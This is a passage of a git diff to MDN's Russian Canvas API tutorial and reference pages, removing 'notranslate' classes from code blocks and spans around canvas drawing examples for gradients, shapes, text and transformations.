= document.getElementById('canvas').getContext('2d'); // Create gradients @@ -567,9 +567,9 @@ lineargradient.addColorStop(1, 'black'); </pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="150" height="150"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="150" height="150"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>In this case, we've offset the starting point slightly from the end point to achieve a spherical 3D effect. It's best to try to avoid letting the inside and outside circles overlap because this results in strange effects which are hard to predict.</p> @@ -602,7 +602,7 @@ lineargradient.addColorStop(1, 'black'); <p>Мы используем этот метод, чтобы создать {{domxref("CanvasPattern")}} объект, который очень похож на методы градиента, рассмотренные ранее. Как только мы создали шаблон, мы можем назначить ему свойства <code>fillStyle</code> или <code>strokeStyle</code>. Например:</p> -<pre class="brush: js notranslate">var img = new Image(); +<pre class="brush: js">var img = new Image(); img.src = 'someimage.png'; var ptrn = ctx.createPattern(img,'repeat'); </pre> @@ -615,7 +615,7 @@ var ptrn = ctx.createPattern(img,'repeat'); <p>In this last example, we'll create a pattern to assign to the <code>fillStyle</code> property. The only thing worth noting is the use of the image's <code>onload</code> handler. This is to make sure the image is loaded before it is assigned to the pattern.</p> -<pre class="brush: js;highlight[10] notranslate">function draw() { +<pre class="brush: js;highlight[10]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); // create new image object to use as pattern @@ -633,9 +633,9 @@ var ptrn = ctx.createPattern(img,'repeat'); </pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="150" height="150"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="150" height="150"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> <p>The result looks like this:</p> </div> @@ -671,7 +671,7 @@ var ptrn = ctx.createPattern(img,'repeat'); <p>This example draws a text string with a shadowing effect.</p> -<pre class="brush: js;highlight[4,5,6,7] notranslate">function draw() { +<pre class="brush: js;highlight[4,5,6,7]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); ctx.shadowOffsetX = 2; @@ -686,9 +686,9 @@ var ptrn = ctx.createPattern(img,'repeat'); </pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="150" height="80"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="150" height="80"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>{{EmbedLiveSample("Пример_текста_с_тенью", "180", "100", "https://mdn.mozillademos.org/files/2505/shadowed-string.png")}}</p> @@ -708,7 +708,7 @@ var ptrn = ctx.createPattern(img,'repeat'); <p>In this example we are using the <code>evenodd</code> rule.</p> -<pre class="brush: js;highlight[6] notranslate">function draw() { +<pre class="brush: js;highlight[6]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); ctx.beginPath(); ctx.arc(50, 50, 30, 0, Math.PI*2, true); @@ -717,9 +717,9 @@ var ptrn = ctx.createPattern(img,'repeat'); }</pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="100" height="100"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="100" height="100"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>{{EmbedLiveSample("Canvas_fill_rules", "110", "110", "https://mdn.mozillademos.org/files/9855/fill-rule.png")}}</p> diff --git a/files/ru/web/api/canvas_api/tutorial/basic_usage/index.html b/files/ru/web/api/canvas_api/tutorial/basic_usage/index.html index 0d71e6b16b..89d79cedf3 100644 --- a/files/ru/web/api/canvas_api/tutorial/basic_usage/index.html +++ b/files/ru/web/api/canvas_api/tutorial/basic_usage/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/Canvas_API/Tutorial/Basic_usage <h2 id="Элемент_<canvas>">Элемент <code><canvas></code></h2> -<pre class="brush: html notranslate"><canvas id="tutorial" width="150" height="150"></canvas> +<pre class="brush: html"><canvas id="tutorial" width="150" height="150"></canvas> </pre> <p>Он выглядит как элемент <code><img></code>, но его отличие в том, что он не имеет атрибутов <code>src</code> и <code>alt</code>. Элемент <code><canvas></code> имеет только два атрибута - <strong>ширину</strong> и <strong>высоту</strong>. Оба они не обязательны и могут быть выставлены с использованием свойств <a href="/en-US/docs/DOM" rel="internal" title="en/DOM">DOM</a>. Если атрибуты высоты и ширины не установлены, canvas будет по умолчанию шириной <strong>300 пикселей</strong> и в высоту <strong>150 пикселей</strong>. Вы так же можете выставить размеры произвольно в <a href="/en-US/docs/Web/CSS" rel="internal" title="en/CSS">CSS</a>, но во время рендеринга изображение будет масштабироваться в соответствии с его размером и ориентацией.</p> @@ -33,7 +33,7 @@ translation_of: Web/API/Canvas_API/Tutorial/Basic_usage <p>Например, мы можем предоставить текстовое описание содержимого canvas или предоставить статичное изображение динамически отображаемого содержимого. Это может выглядеть как-то так:</p> -<pre class="brush: html notranslate"><canvas id="stockGraph" width="150" height="150"> +<pre class="brush: html"><canvas id="stockGraph" width="150" height="150"> current stock price: $3.15 +0.15 </canvas> @@ -56,7 +56,7 @@ translation_of: Web/API/Canvas_API/Tutorial/Basic_usage <p>Холст изначально пустой и прозрачный. Первым делом скрипт получает доступ к контексту и отрисовывает его. Элемент {{HTMLElement("canvas")}} имеет <a href="/en-US/docs/Web/API/HTMLCanvasElement#Method">метод</a> <code>getContext()</code>, используется для получения контекста визуализации и её функции рисования. <code>getContext()</code> принимает один параметр, тип контекста. Для 2D графики, которая охвачена этим руководством будем использовать метку "2d".</p> -<pre class="brush: js notranslate">var canvas = document.getElementById('tutorial'); +<pre class="brush: js">var canvas = document.getElementById('tutorial'); var ctx = canvas.getContext('2d'); </pre> @@ -67,7 +67,7 @@ var ctx = canvas.getContext('2d'); <p>Ранее уже упоминалось, что в браузерах, которые не поддерживают {{HTMLElement("canvas")}} отображается запасное содержимое. Но помимо этого, определить, поддерживает ли браузер <code>canvas</code>, можно прямо из кода, проверив наличие метода <code>getContext()</code>. Код с запасным содержимым, который мы приводили Выше, становится следующим:</p> -<pre class="brush: js notranslate">var canvas = document.getElementById('tutorial'); +<pre class="brush: js">var canvas = document.getElementById('tutorial'); if (canvas.getContext){ var ctx = canvas.getContext('2d'); @@ -87,7 +87,7 @@ if (canvas.getContext){ <p><strong>Примечание:</strong> вставка скрипта внутрь HTML не является хорошей практикой. Мы делаем это здесь, чтобы сделать пример короче.</p> </div> -<pre class="notranslate"><code><!DOCTYPE html></code> +<pre><code><!DOCTYPE html></code> <html> <head> <title>Canvas tutorial</title> @@ -119,7 +119,7 @@ if (canvas.getContext){ <p>Для начала, давайте посмотрим на простой пример, который рисует два пересекающихся прямоугольника, один из которых имеет прозрачность alpha. Мы изучим, как это работает более детально в последующих примерах.</p> -<pre class="notranslate"><code><!DOCTYPE html></code> +<pre><code><!DOCTYPE html></code> <html> <head> <script type="application/javascript"> diff --git a/files/ru/web/api/canvas_api/tutorial/drawing_shapes/index.html b/files/ru/web/api/canvas_api/tutorial/drawing_shapes/index.html index 4913f93bda..c30661c80e 100644 --- a/files/ru/web/api/canvas_api/tutorial/drawing_shapes/index.html +++ b/files/ru/web/api/canvas_api/tutorial/drawing_shapes/index.html @@ -41,7 +41,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур <h3 id="Пример_создания_прямоугольных_фигур">Пример создания прямоугольных фигур</h3> <div class="hidden"> -<pre class="brush: html notranslate"><html> +<pre class="brush: html"><html> <body onload="draw();"> <canvas id="canvas" width="150" height="150"></canvas> </body> @@ -49,7 +49,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур </pre> </div> -<pre class="brush: js notranslate">function draw() { +<pre class="brush: js">function draw() { var canvas = document.getElementById('canvas'); if (canvas.getContext) { var ctx = canvas.getContext('2d'); @@ -113,7 +113,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур <p>Например, код для рисования треугольника будет выглядеть как-то так:</p> <div class="hidden"> -<pre class="brush: html notranslate"><html> +<pre class="brush: html"><html> <body onload="draw();"> <canvas id="canvas" width="100" height="100"></canvas> </body> @@ -121,7 +121,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур </pre> </div> -<pre class="brush: js notranslate">function draw() { +<pre class="brush: js">function draw() { var canvas = document.getElementById('canvas'); if (canvas.getContext){ var ctx = canvas.getContext('2d'); @@ -153,7 +153,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур <p>Вы можете проверить это сами, используя участок кода ниже. Просто вставьте в функцию <code>draw()</code>, рассмотренную ранее.</p> <div class="hidden"> -<pre class="brush: html notranslate"><html> +<pre class="brush: html"><html> <body onload="draw();"> <canvas id="canvas" width="150" height="150"></canvas> </body> @@ -161,7 +161,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур </pre> </div> -<pre class="brush: js;highlight:[8,10,12] notranslate">function draw() { +<pre class="brush: js;highlight:[8,10,12]">function draw() { var canvas = document.getElementById('canvas'); if (canvas.getContext){ var ctx = canvas.getContext('2d'); @@ -203,7 +203,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур <p>Пример ниже рисует два треугольника, один закрашенный и другой обведён контуром.</p> <div class="hidden"> -<pre class="brush: html notranslate"><html> +<pre class="brush: html"><html> <body onload="draw();"> <canvas id="canvas" width="150" height="150"></canvas> </body> @@ -211,7 +211,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур </pre> </div> -<pre class="brush: js;highlight[9,10,16,17] notranslate">function draw() { +<pre class="brush: js;highlight[9,10,16,17]">function draw() { var canvas = document.getElementById('canvas'); if (canvas.getContext){ var ctx = canvas.getContext('2d'); @@ -270,7 +270,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур </div> <div class="hidden"> -<pre class="brush: html notranslate"><html> +<pre class="brush: html"><html> <body onload="draw();"> <canvas id="canvas" width="150" height="200"></canvas> </body> @@ -278,7 +278,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур </pre> </div> -<pre class="brush: js;highlight[16] notranslate">function draw() { +<pre class="brush: js;highlight[16]">function draw() { var canvas = document.getElementById('canvas'); if (canvas.getContext){ var ctx = canvas.getContext('2d'); @@ -332,7 +332,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур <p>В этом примере многократно используются квадратичные кривые Безье для рисования речевой выноски.</p> <div class="hidden"> -<pre class="brush: html notranslate"><html> +<pre class="brush: html"><html> <body onload="draw();"> <canvas id="canvas" width="150" height="150"></canvas> </body> @@ -340,7 +340,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур </pre> </div> -<pre class="brush: js;highlight[9,10,11,12,13,14] notranslate">function draw() { +<pre class="brush: js;highlight[9,10,11,12,13,14]">function draw() { var canvas = document.getElementById('canvas'); if (canvas.getContext) { var ctx = canvas.getContext('2d'); @@ -366,7 +366,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур <p>В этом примере нарисовано сердце с использованием кубических кривых Безье.</p> <div class="hidden"> -<pre class="brush: html notranslate"><html> +<pre class="brush: html"><html> <body onload="draw();"> <canvas id="canvas" width="150" height="150"></canvas> </body> @@ -374,7 +374,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур </pre> </div> -<pre class="brush: js;highlight[9,10,11,12,13,14] notranslate">function draw() { +<pre class="brush: js;highlight[9,10,11,12,13,14]">function draw() { var canvas = document.getElementById('canvas'); if (canvas.getContext){ var ctx = canvas.getContext('2d'); @@ -414,7 +414,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур Однако, нет никаких ограничений на количество или типы контуров, которые вы можете использовать для создания фигур. Давайте в этом примере объединим все вышеперечисленные функции контуров, чтобы создать набор очень известных игровых персонажей.</p> <div class="hidden"> -<pre class="brush: html notranslate"><html> +<pre class="brush: html"><html> <body onload="draw();"> <canvas id="canvas" width="150" height="150"></canvas> </body> @@ -422,7 +422,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур </pre> </div> -<pre class="brush: js notranslate">function draw() { +<pre class="brush: js">function draw() { var canvas = document.getElementById('canvas'); if (canvas.getContext){ var ctx = canvas.getContext('2d'); @@ -521,7 +521,7 @@ function roundedRect(ctx, x, y, width, height, radius) { <dd>Конструктор <code><strong>Path2D()</strong></code> возвращает вновь созданный объект <code>Path2D</code> необязательно с другим путём в качестве аргумента (создаёт копию) или необязательно со строкой, состоящей из данных пути <a href="/en-US/docs/Web/SVG/Tutorial/Paths">SVG path</a> .</dd> </dl> -<pre class="brush: js notranslate">new Path2D(); // пустой path объект +<pre class="brush: js">new Path2D(); // пустой path объект new Path2D(path); // копирование из другого path new Path2D(d); // path из SVG</pre> @@ -539,7 +539,7 @@ new Path2D(d); // path из SVG</pre> <p>В этом примере мы создаём прямоугольник и круг. Оба они сохраняются как объект <code>Path2D</code>, поэтому они доступны для последующего использования. С новым API <code>Path2D</code> несколько методов были обновлены, чтобы при необходимости принять объект <code>Path2D</code> для использования вместо текущего пути. Здесь <code>stroke</code> и <code>fill</code> используются с аргументом пути, например, для рисования обоих объектов на холст.</p> <div class="hidden"> -<pre class="brush: html notranslate"><html> +<pre class="brush: html"><html> <body onload="draw();"> <canvas id="canvas" width="130" height="100"></canvas> </body> @@ -547,7 +547,7 @@ new Path2D(d); // path из SVG</pre> </pre> </div> -<pre class="brush: js;highlight[6,9] notranslate">function draw() { +<pre class="brush: js;highlight[6,9]">function draw() { var canvas = document.getElementById('canvas'); if (canvas.getContext){ var ctx = canvas.getContext('2d'); @@ -574,6 +574,6 @@ new Path2D(d); // path из SVG</pre> <p>Путь перемещается в точку (<code>M10 10</code>), а затем горизонтально перемещается на 80 пунктов вправо (<code>h 80</code>), затем на 80 пунктов вниз (<code>v 80</code>), затем на 80 пунктов влево (<code>h -80</code>), а затем обратно на start (<code>z</code>). <br> Этот пример можно увидеть на странице <a href="/en-US/docs/Web/API/Path2D.Path2D#Using_SVG_paths"><code>Path2D</code> constructor</a>.</p> -<pre class="brush: js; notranslate">var p = new Path2D("M10 10 h 80 v 80 h -80 Z");</pre> +<pre class="brush: js;">var p = new Path2D("M10 10 h 80 v 80 h -80 Z");</pre> <div>{{PreviousNext("Web/API/Canvas_API/Tutorial/Basic_usage", "Web/API/Canvas_API/Tutorial/Applying_styles_and_colors")}}</div> diff --git a/files/ru/web/api/canvas_api/tutorial/drawing_text/index.html b/files/ru/web/api/canvas_api/tutorial/drawing_text/index.html index 58707876c9..4a2738bfe5 100644 --- a/files/ru/web/api/canvas_api/tutorial/drawing_text/index.html +++ b/files/ru/web/api/canvas_api/tutorial/drawing_text/index.html @@ -31,16 +31,16 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_текста <p>Текст вставлен с использованием текущего <code>fillStyle</code>.</p> -<pre class="brush: js;highlight[4] notranslate">function draw() { +<pre class="brush: js;highlight[4]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); ctx.font = "48px serif"; ctx.fillText("Hello world", 10, 50); }</pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="300" height="100"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="300" height="100"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>{{EmbedLiveSample("Пример_fillText", 310, 110)}}</p> @@ -49,16 +49,16 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_текста <p>Текст вставлен с использованием текущего <code>strokeStyle</code>.</p> -<pre class="brush: js;highlight[4] notranslate">function draw() { +<pre class="brush: js;highlight[4]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); ctx.font = "48px serif"; ctx.strokeText("Hello world", 10, 50); }</pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="300" height="100"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="300" height="100"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>{{EmbedLiveSample("Пример_strokeText", 310, 110)}}</p> @@ -95,7 +95,7 @@ baselines, due to glyphs extending far outside the em square." src="http://www.w <p>Редактируя код ниже, вы можете видеть, как меняется отображение текста на canvas в реальном времени:</p> -<pre class="brush: js;highlight[2] notranslate">ctx.font = "48px serif"; +<pre class="brush: js;highlight[2]">ctx.font = "48px serif"; ctx.textBaseline = "hanging"; ctx.strokeText("Hello world!", 0, 100); </pre> @@ -103,7 +103,7 @@ ctx.strokeText("Hello world!", 0, 100); <div class="hidden"> <h6 id="Playable_code">Playable code</h6> -<pre class="brush: html notranslate"><canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> +<pre class="brush: html"><canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> <input id="edit" type="button" value="Edit" /> <input id="reset" type="button" value="Reset" /> @@ -114,7 +114,7 @@ ctx.textBaseline = "hanging"; ctx.strokeText("Hello world", 0, 100);</textarea> </pre> -<pre class="brush: js notranslate">var canvas = document.getElementById("canvas"); +<pre class="brush: js">var canvas = document.getElementById("canvas"); var ctx = canvas.getContext("2d"); var textarea = document.getElementById("code"); var reset = document.getElementById("reset"); @@ -153,7 +153,7 @@ window.addEventListener("load", drawCanvas); <p>Пример ниже показывает, как можно измерить ширину текста.</p> -<pre class="brush: js;highlight[3] notranslate">function draw() { +<pre class="brush: js;highlight[3]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); var text = ctx.measureText("foo"); // TextMetrics object text.width; // 16; diff --git a/files/ru/web/api/canvas_api/tutorial/transformations/index.html b/files/ru/web/api/canvas_api/tutorial/transformations/index.html index 5a557d2aed..a169bc0cf5 100644 --- a/files/ru/web/api/canvas_api/tutorial/transformations/index.html +++ b/files/ru/web/api/canvas_api/tutorial/transformations/index.html @@ -5,17 +5,17 @@ translation_of: Web/API/Canvas_API/Tutorial/Transformations --- <div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Using_images", "Web/API/Canvas_API/Tutorial/Compositing")}}</div> -<div class="summary"><span class="notranslate">Ранее в этом уроке мы узнали о</span> <span class="notranslate" style="background-color: #e6ecf9;"> <a href="https://translate.googleusercontent.com/translate_c?act=url&depth=1&hl=ru&ie=UTF8&prev=_t&rurl=translate.google.com&sl=en&sp=nmt4&tl=ru&u=https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial/Drawing_shapes&usg=ALkJrhiuWce927wE2920fN95Jlcrf1HyUg">сетке холста</a></span> <span class="notranslate">и <strong>координатном пространстве</strong> .</span> <span class="notranslate"> До сих пор мы использовали только сетку по умолчанию и изменили размер всего холста для наших нужд.</span> При преобразованиях существуют более мощные способы изменения исходных координат в различные положение, поворот сетки и даже масштабирование.</div> +<div class="summary"><span>Ранее в этом уроке мы узнали о</span> <span style="background-color: #e6ecf9;"> <a href="https://translate.googleusercontent.com/translate_c?act=url&depth=1&hl=ru&ie=UTF8&prev=_t&rurl=translate.google.com&sl=en&sp=nmt4&tl=ru&u=https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial/Drawing_shapes&usg=ALkJrhiuWce927wE2920fN95Jlcrf1HyUg">сетке холста</a></span> <span>и <strong>координатном пространстве</strong> .</span> <span> До сих пор мы использовали только сетку по умолчанию и изменили размер всего холста для наших нужд.</span> При преобразованиях существуют более мощные способы изменения исходных координат в различные положение, поворот сетки и даже масштабирование.</div> -<h2 id="Saving_and_restoring_state"><span class="notranslate" style="background-color: #e6ecf9;">Сохранение и восстановление состояния</span></h2> +<h2 id="Saving_and_restoring_state"><span style="background-color: #e6ecf9;">Сохранение и восстановление состояния</span></h2> -<p><span class="notranslate">Прежде чем перейти к методам преобразования, давайте рассмотрим два других метода, которые необходимы, когда вы начинаете создавать все более сложные рисунки.</span></p> +<p><span>Прежде чем перейти к методам преобразования, давайте рассмотрим два других метода, которые необходимы, когда вы начинаете создавать все более сложные рисунки.</span></p> <dl> <dt>{{domxref("CanvasRenderingContext2D.save", "save()")}}</dt> - <dd><span class="notranslate">Сохраняет все состояние холста.</span></dd> + <dd><span>Сохраняет все состояние холста.</span></dd> <dt>{{domxref("CanvasRenderingContext2D.restore", "restore()")}}</dt> - <dd><span class="notranslate">Восстанавливает последнее сохранённое состояние холста.</span></dd> + <dd><span>Восстанавливает последнее сохранённое состояние холста.</span></dd> </dl> <p>Состояние холста сохраняется в стеке. Каждый раз, когда вызывается метод <code>save()</code>, текущее состояние отрисовки записывается в стек. Состояние отрисовки содержит:</p> @@ -32,7 +32,7 @@ translation_of: Web/API/Canvas_API/Tutorial/Transformations <p>Здесь показано, как функционирует сохранение в стек состояния отрисовки на примере последовательной отрисовки набора прямоугольников.</p> -<pre class="brush: js; highlight:[5,10,15,18] notranslate">function draw() { +<pre class="brush: js; highlight:[5,10,15,18]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); ctx.fillRect(0, 0, 150, 150); // рисуем прямоугольник с настройками по умолчанию @@ -54,9 +54,9 @@ translation_of: Web/API/Canvas_API/Tutorial/Transformations }</pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="150" height="150"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="150" height="150"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>Сначала рисуется большой прямоугольник с настройками по умолчанию. Затем мы сохраняем состояние холста, после чего изменяем цвет заливки. Затем рисуем второй синий прямоугольник меньшего размера и опять сохраняем состояние. Снова изменяем какие-то настройки и рисуем третий полупрозрачный белый прямоугольник.</p> @@ -84,7 +84,7 @@ translation_of: Web/API/Canvas_API/Tutorial/Transformations <p>Внутри функции <code>draw()</code> мы вызываем <code>fillRect()</code> девять раз, используя два цикла <code>for</code>. Каждый раз мы сохраняем состояние холста, смещаем его, рисуем прямоугольник, а затем восстанавливаем исходное состояние. Заметьте, что <code>fillRect()</code> всегда использует одни и те же параметры, а изменение позиции фигуры осуществляется с помощью <code>translate()</code>.</p> -<pre class="brush: js; highlight:[7] notranslate">function draw() { +<pre class="brush: js; highlight:[7]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); for (var i = 0; i < 3; i++) { for (var j = 0; j < 3; j++) { @@ -99,9 +99,9 @@ translation_of: Web/API/Canvas_API/Tutorial/Transformations </pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="150" height="150"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="150" height="150"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>{{EmbedLiveSample("A_translate_example", "160", "160", "https://mdn.mozillademos.org/files/9857/translate.png")}}</p> @@ -125,7 +125,7 @@ translation_of: Web/API/Canvas_API/Tutorial/Transformations <p><strong>Памятка</strong>: Углы измеряются в радианах, а не в градусах. Для преобразования единиц используйте следующую формулу: <code>radians = (Math.PI/180)*degrees</code>.</p> </div> -<pre class="brush: js; highlight:[9, 23] notranslate">function draw() { +<pre class="brush: js; highlight:[9, 23]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); // left rectangles, rotate from canvas origin @@ -159,9 +159,9 @@ translation_of: Web/API/Canvas_API/Tutorial/Transformations <p>Для поворота прямоугольника относительно его центра мы сначала смещаем начало координат, выполняем поворот, а затем выполняем обратное смещение к точке 0,0, и наконец рисуем прямоугольник.</p> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="300" height="200"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="300" height="200"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>{{EmbedLiveSample("A_rotate_example", "310", "210", "https://mdn.mozillademos.org/files/9859/rotate.png")}}</p> @@ -183,7 +183,7 @@ translation_of: Web/API/Canvas_API/Tutorial/Transformations <p>В этом примере мы нарисуем прямоугольники, используя разные масштабные коэффициенты.</p> -<pre class="brush: js; highlight:[6,11] notranslate">function draw() { +<pre class="brush: js; highlight:[6,11]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); // рисуем масштабированный прямоугольник. @@ -201,9 +201,9 @@ translation_of: Web/API/Canvas_API/Tutorial/Transformations </pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="150" height="150"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="150" height="150"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>{{EmbedLiveSample("A_scale_example", "160", "160", "https://mdn.mozillademos.org/files/9861/scale.png")}}</p> @@ -244,7 +244,7 @@ translation_of: Web/API/Canvas_API/Tutorial/Transformations <h3 id="Пример_использования_transform_и_setTransform">Пример использования <code>transform</code> и <code>setTransform</code></h3> -<pre class="brush: js; highlight:[12,15] notranslate">function draw() { +<pre class="brush: js; highlight:[12,15]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); var sin = Math.sin(Math.PI / 6); @@ -265,9 +265,9 @@ translation_of: Web/API/Canvas_API/Tutorial/Transformations </pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="200" height="250"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="200" height="250"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>{{EmbedLiveSample("Пример_использования_transform_и_setTransform", "230", "280", "https://mdn.mozillademos.org/files/255/Canvas_transform.png")}}</p> diff --git a/files/ru/web/api/canvasrenderingcontext2d/createlineargradient/index.html b/files/ru/web/api/canvasrenderingcontext2d/createlineargradient/index.html index c6793693ce..1a6a91d285 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/createlineargradient/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/createlineargradient/index.html @@ -22,7 +22,7 @@ translation_of: Web/API/CanvasRenderingContext2D/createLinearGradient <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">CanvasGradient <var>ctx</var>.createLinearGradient(<var>x0</var>, <var>y0</var>, <var>x1</var>, <var>y1</var>); +<pre class="syntaxbox">CanvasGradient <var>ctx</var>.createLinearGradient(<var>x0</var>, <var>y0</var>, <var>x1</var>, <var>y1</var>); </pre> <p>Метод <code>createLinearGradient()</code> принимает четыре аргумента для определения начала и конца точек линии градиента.</p> @@ -55,12 +55,12 @@ translation_of: Web/API/CanvasRenderingContext2D/createLinearGradient <h4 id="HTML">HTML</h4> -<pre class="brush: html notranslate"><canvas id="canvas"></canvas> +<pre class="brush: html"><canvas id="canvas"></canvas> </pre> <h4 id="JavaScript">JavaScript</h4> -<pre class="brush: js; highlight:[7] notranslate">var canvas = document.getElementById('canvas'); +<pre class="brush: js; highlight:[7]">var canvas = document.getElementById('canvas'); var ctx = canvas.getContext('2d'); // Создание линейного градиента diff --git a/files/ru/web/api/canvasrenderingcontext2d/ellipse/index.html b/files/ru/web/api/canvasrenderingcontext2d/ellipse/index.html index 3ac6af2315..9bbe6aa749 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/ellipse/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/ellipse/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/CanvasRenderingContext2D/ellipse <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">void <em>ctx</em>.ellipse(<em>x</em>, <em>y</em>, <em>radiusX</em>, <em>radiusY</em>, <em>rotation</em>, <em>startAngle</em>, <em>endAngle</em> [, <em>anticlockwise</em>]); +<pre class="syntaxbox">void <em>ctx</em>.ellipse(<em>x</em>, <em>y</em>, <em>radiusX</em>, <em>radiusY</em>, <em>rotation</em>, <em>startAngle</em>, <em>endAngle</em> [, <em>anticlockwise</em>]); </pre> <p><code>ellipse()</code> - метод, который создаёт эллиптическую дугу с центром в точках <code>(x, y)</code> с радиусом <code>radiusX</code> и <code>radiusY</code>. Путь начинается от точки <code>startAngle</code> и заканчивается в точке <code>endAngle</code>, идёт по направлению, казанному в параметре (по часовой стрелке или против неё) <code>anticlockwise</code> .</p> @@ -49,12 +49,12 @@ translation_of: Web/API/CanvasRenderingContext2D/ellipse <h4 id="HTML">HTML</h4> -<pre class="brush: html notranslate"><canvas id="canvas" width="200" height="200"></canvas> +<pre class="brush: html"><canvas id="canvas" width="200" height="200"></canvas> </pre> <h4 id="JavaScript">JavaScript</h4> -<pre class="brush: js; highlight:[6] notranslate">const canvas = document.getElementById('canvas'); +<pre class="brush: js; highlight:[6]">const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); // Рисование эллипса @@ -80,12 +80,12 @@ ctx.stroke(); <h4 id="HTML_2">HTML</h4> -<pre class="brush: html notranslate"><canvas id="canvas"></canvas> +<pre class="brush: html"><canvas id="canvas"></canvas> </pre> <h4 id="JavaScript_2">JavaScript</h4> -<pre class="brush: js; highlight:[6,11,16] notranslate">const canvas = document.getElementById('canvas'); +<pre class="brush: js; highlight:[6,11,16]">const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); ctx.fillStyle = 'red'; diff --git a/files/ru/web/api/canvasrenderingcontext2d/filltext/index.html b/files/ru/web/api/canvasrenderingcontext2d/filltext/index.html index 74b759b2b1..47d83f96e4 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/filltext/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/filltext/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/CanvasRenderingContext2D/fillText <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">void <var><em>ctx</em>.fillText(text, x, y [, maxWidth]);</var> +<pre class="syntaxbox">void <var><em>ctx</em>.fillText(text, x, y [, maxWidth]);</var> </pre> <h3 